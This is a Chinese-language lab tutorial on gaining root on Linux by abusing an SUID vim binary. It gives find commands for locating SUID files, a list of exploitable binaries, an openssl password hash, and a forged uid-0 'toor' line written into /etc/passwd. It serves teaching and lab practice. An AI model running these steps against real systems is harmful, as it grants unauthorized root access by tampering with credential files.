在kali上復現
先給需要的vim.basic文件設置suid權限
chmod u+s /usr/bin/vim.basic
先adduser test1一個普通權限用戶
現在就是一個合適的提權環境
通過以下命令可以找到存在suid權限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可用于提權的文件有
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp

利用vim提權的思路是修改etc/passwd文件,為自己添加一個有root權限的用戶
passwd文件用戶格式為:用戶名:密碼:uid:gid:注釋:home目錄:用戶的shell
這邊可以看看root用戶的格式
root:x:0:0:root:/root:/bin/bash
(密碼這部分之所以是x,是因為真正的密碼存在/etc/shadow文件里)

生成密碼:用openssl passwd -1 –salt asd 123 (這里是-1(數字1)不是L)
直接寫在passwd文件里面,

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改,但是在保存是會出現E212,無法保存,提示我們沒有權限修改這個

這時應該用之前find找到的vim.basic文件運行,這個程序是有suid權限的。絕對可以修改
vim.basic /etc/passwd
用這個打開,然后修改文件,就可以成功保存

可以看到已經添加了,su toor切換,密碼123,再id查看一下權限

root權限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。